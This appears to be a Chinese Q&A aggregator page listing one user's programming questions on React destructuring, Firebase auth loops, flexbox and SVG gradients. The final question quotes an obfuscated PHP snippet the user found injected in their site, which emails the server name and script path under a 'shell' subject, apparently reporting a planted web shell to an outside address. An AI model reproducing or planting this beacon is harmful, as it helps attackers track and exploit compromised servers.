小编use*_*793的帖子

如何在react中简洁地重命名解构参数?

我认为我可以使用以下语法,但它不能按预期工作(“重命名”未定义):

const test= ({ var1, var2, renamed = var3 }) => { ...
Run Code Online (Sandbox Code Playgroud)

我发现我可以执行以下操作,但我想知道是否有更简洁的方法可以在括号内执行此操作。非常感谢。

const test= ({ var1, var2, var3 }) => { ...
const renamed = var3; ...
Run Code Online (Sandbox Code Playgroud)

javascript reactjs

8
推荐指数
1
解决办法
4878
查看次数

如何防止 onAuthStateChanged Firebase Auth 引起的无限循环

我有一个提供程序组件,它从 firebase-auth 设置初始身份验证上下文。

一切工作正常,直到我尝试以设置观察者的形式添加持久性onAuthStateChanged。这会检查身份验证,并通过调度方法更新我的状态。

但这导致了无限循环。我添加了取消订阅函数调用,但这没有什么区别,

有人可以建议吗?谢谢

AuthContext.js

import React from "react";
import * as firebase from "firebase/app";
//firebaseauth reducer
import { firebaseAuth } from "../reducers/AuthReducer";

export const Auth = React.createContext();

const initialState = { user: {} };


export const AuthProvider = (props) => {
  const [state, dispatch] = React.useReducer(firebaseAuth, initialState);
  const value = { state, dispatch };

  const unsubscribe = firebase.auth().onAuthStateChanged((user) => {
    dispatch({
      type: "HYDRATE_AUTH",
      payload: user,
    });
  });
  unsubscribe();

  return <Auth.Provider value={value}>{props.children}</Auth.Provider>;
};
Run Code Online (Sandbox Code Playgroud)

javascript reactjs

6
推荐指数
1
解决办法
2396
查看次数

如何使用 flexbox 设置容器的最大宽度?

我想拥有services-bar__titleservices-bar__services拥有一个max-widthof1024px以便我获得容器的正常 flexbox 行为,如下所示,但列表不会比1024px视口更宽时进一步扩展。我尝试设置容器宽度和最大宽度,但它似乎没有按预期工作,因为容器不再居中,有什么想法吗?

.services-bar {
  display: flex;
  flex-direction: column;
  height: 20rem;
  width: 100%;
  box-shadow: 0 -3rem 8rem rgba(#000, 0.5);
}

.services-bar__title {
  display: flex;
  flex-direction: row;
  justify-content: center;
}

.services-bar__services {
  display: flex;
  flex-direction: row;
  justify-content: center;
}
Run Code Online (Sandbox Code Playgroud)
<div class="services-bar">
  <div class="services-bar__title">
    test title
  </div>
  <div class="services-bar__services">
    <div class="services-bar__services_1"></div>
    <ul>
      <li>test</li>
      <li>test</li>
      <li>test</li>
      <li>test</li>
    </ul>
    <div class="services-bar__services_2"></div>
    <ul>
      <li>test</li>
      <li>test</li>
      <li>test</li>
      <li>test</li>
    </ul>
    <div class="services-bar__services_3"></div>
    <ul>
      <li>test</li>
      <li>test</li>
      <li>test</li>
      <li>test</li> …
Run Code Online (Sandbox Code Playgroud)

html css flexbox

5
推荐指数
0
解决办法
7092
查看次数

如何对.SVG图像应用颜色渐变?

我已经使用SVG元素和一些CSS成功实现了SVG渐变,请参见下文。我有一个黑白的.SVG图像,想将渐变应用于SVG图像的黑色部分。

的HTML

<svg width="100" height="50" version="1.1" xmlns="http://www.w3.org/2000/svg">
      <style type="text/css">
        rect{fill:url(#MyGradient)}
      </style>
      <defs>
        <linearGradient id="MyGradient">
          <stop offset="5%" stop-color="#F60" />
          <stop offset="95%" stop-color="#FF6" />
        </linearGradient>
      </defs>

      <rect width="100" height="50"/>
    </svg>
Run Code Online (Sandbox Code Playgroud)

的CSS

rect {
    cursor: pointer;
    shape-rendering: crispEdges;
    fill: url(#MyGradient);
}
Run Code Online (Sandbox Code Playgroud)

有没有办法将其直接应用于我下载的.svg图像?

html css svg

2
推荐指数
1
解决办法
565
查看次数

有谁知道这个PHP代码的作用?

我发现这个嵌入在我网站上的一个php文件中,谁能告诉我它的作用?

$x0b="\x6da\x69l"; 
$ms = $_SERVER["S\x45R\126\105\x52_\x4e\101\x4dE"].$_SERVER["\123\x43R\111\x50\124_NA\x4d\105"];
$sub = "\x73\x68\145\x6cl\x20\076\076 :\x20" . $ms;
$o = array ("\x6fm","\164ma\151","\152\x5f\141\155\x72\x31","\x40\x68\x6f","\154.\x63");
$ee = $o[2].$o[3].$o[1].$o[4].$o[0];
$send = @$x0b($ee,$sub,$ms);
Run Code Online (Sandbox Code Playgroud)

php code-injection

1
推荐指数
1
解决办法
620
查看次数

标签 统计

css ×2

html ×2

javascript ×2

reactjs ×2

code-injection ×1

flexbox ×1

php ×1

svg ×1